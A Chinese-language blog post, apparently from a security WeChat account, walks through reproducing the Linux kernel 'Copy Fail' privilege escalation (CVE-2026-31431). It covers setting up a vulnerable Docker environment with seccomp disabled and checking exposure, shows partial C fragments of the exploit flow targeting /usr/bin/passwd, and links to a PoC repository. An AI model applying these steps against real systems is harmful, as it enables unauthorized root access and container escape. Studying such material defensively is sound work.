Skip to content

100% 稳定的神级提权:CVE-2026-31431 (Copy Fail) 漏洞复现手册

摘要: 2026年初爆发的“Copy Fail”漏洞,凭借其无需竞争条件(Race-free)、仅需732字节代码即可稳定提权的特性,成为了Linux内核安全的新里程碑。本文将手把手教你搭建复现环境并拆解EXP逻辑。

一、 漏洞背景

CVE-2026-31431 是 Linux 内核 algif_aead 模块中的一个页缓存损坏漏洞。

  • 杀伤力: 本地普通用户提权、容器逃逸。
  • 核心原理: 攻击者通过 splice() 将只读文件的页缓存拉入管道,再通过加密 API 的逻辑缺陷,定向修改页缓存中的 4 字节数据。这导致原本只读的系统程序(如 /usr/bin/passwd)在内存中被“篡改”,从而执行提权逻辑。

二、 环境搭建

1. 系统要求

  • 内核版本: 推荐使用 6.12.x 至 6.18 之间的版本(确保未打补丁 a664bf3d603d)。
  • 操作系统: Ubuntu 24.04 LTS (未更新状态)。
  • 必要组件: 内核必须开启 CONFIG_CRYPTO_USER_API_AEAD 选项(大部分主流发行版默认开启)。

2. 准备受控环境

我们采用在MacOS宿主机上通过Docker来搭建环境。 确认Docker虚拟机的内核版本在Mac终端运以下命令,查看Docker使用的Linux 内核:

bash
docker run --rm alpine uname -r

如果版本高于 6.18.22/6.19.12:说明 Docker Desktop 已自动更新了补丁内核,你可能需要下载并安装旧版本的 Docker Desktop。

启动复现容器(必须放宽权限)由于该漏洞依赖于 AF_ALG 套接字,而 Docker 默认的 Seccomp 配置会拦截它。启动容器时需加上 --security-opt seccomp=unconfined

bash
docker run -it --rm \
  --security-opt seccomp=unconfined \
  ubuntu:24.04 /bin/bash

在容器内准备环境进入容器后,安装必要的编译工具:

bash
apt update && apt install -y build-essential python3

创建一个名为 lowpriv 的普通用户,并切换到该用户环境

bash
useradd -m lowpriv
# 切换到该用户
su - lowpriv

三、 核心EXP逻辑拆解该漏洞的

EXP 通常采用 C 语言编写以获得精准的内存控制。其核心流程分为四步:

第一步:建立加密套接字

bash
int tfmfd = socket(AF_ALG, SOCK_SEQPACKET, 0);
struct sockaddr_alg sa = {
    .salg_family = AF_ALG,
    .salg_type = "aead",
    .salg_name = "gcm(aes)" // 受影响的算法
};
bind(tfmfd, (struct sockaddr *)&sa, sizeof(sa));
int opfd = accept(tfmfd, NULL, 0);

第二步:将只读文件链入 Pipe

利用 splice 系统调用,将目标 /usr/bin/passwd 的内容映射到页缓存。

bash
int pipe_fds[2];
pipe(pipe_fds);
int file_fd = open("/usr/bin/passwd", O_RDONLY);
// 将文件页缓存内容“拼接到”管道中
splice(file_fd, &offset, pipe_fds[1], NULL, 4096, 0);

第三步:触发内存损坏

通过 sendmsg 发送特定的控制数据,利用内核在处理 AEAD 关联数据(AD)时的长度校验漏洞,强制将 4 字节的受控数据写入刚才 splice 进来的页缓存页面。

第四步:执行被篡改的程序

一旦页缓存被修改,系统中所有尝试运行 /usr/bin/passwd 的进程看到的都是“被污染”的代码。攻击者只需运行该程序,即可绕过权限检查。

四、 复现操作

POC:https://github.com/painoob/Copy-Fail-Exploit-CVE-2026-31431

确认漏洞条件

要确认当前的Docker容器环境是否受CVE-2026-31431 (Copy Fail) 影响,主要检查三个核心指标:内核版本、模块支持 和 权限策略。

第一步:检查内核版本 (Kernel Version)

该漏洞存在于 Linux 内核 4.x 到 6.18 之间(具体取决于补丁合并进度)。 受影响范围: 大约在 4.10 到 6.18.21 之间。安全版本: 如果版本号高于 6.18.22 或 6.19.12,或者包含了 2026 年 3 月以后的厂商补丁(如 Ubuntu 的 -generic 后缀更新),则通常已修复。

第二步:检查加密算法模块 (Crypto API) 漏洞发生在 algif_aead 模块。如果内核没有编译此模块,漏洞将无法触发。

bash
# 检查内核配置文件(如果容器内能访问到)
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)

# 或者尝试列出已加载模块
lsmod | grep algif_aead

注意:在 Docker 容器中,lsmod 可能不可用。更直接的方法是看 /proc/crypto 中是否有相关算法。

bash
grep -E "name|driver" /proc/crypto | grep -A 1 "gcm(aes)"

第三步:验证系统调用权限 (Seccomp Check) 即使内核有漏洞,如果 Docker 的安全策略(Seccomp)拦截了 socket(AF_ALG, ...) 调用,EXP也会失效。你可以运行这个简单的 Python 一行命令来测试权限:

bash
python3 -c "import socket; socket.socket(38, socket.SOCK_SEQPACKET, 0)"
  • 受影响(危险): 命令静默运行,没有输出(表示成功创建了套接字)。
  • 受保护(安全): 报错 OSError: [Errno 97] Address family not supported by protocol 或 Permission denied。

执行POC

使用python脚本提权

使用C语言编辑后提权

公众号

关注「极客零零七」

每周实战攻防干货 · HTB Writeup · 独家速查资料

  • 回复 提权 → Windows+Linux 提权速查 PDF
  • 回复 AD攻击 → AD 域渗透攻击手册
  • 回复 靶机 → HTB 靶机推荐清单
  • 回复 OSCP → OSCP 备考完整路线图
极客零零七 公众号二维码

扫码关注

⚠️ 内容仅供学习交流使用 | 本站访问量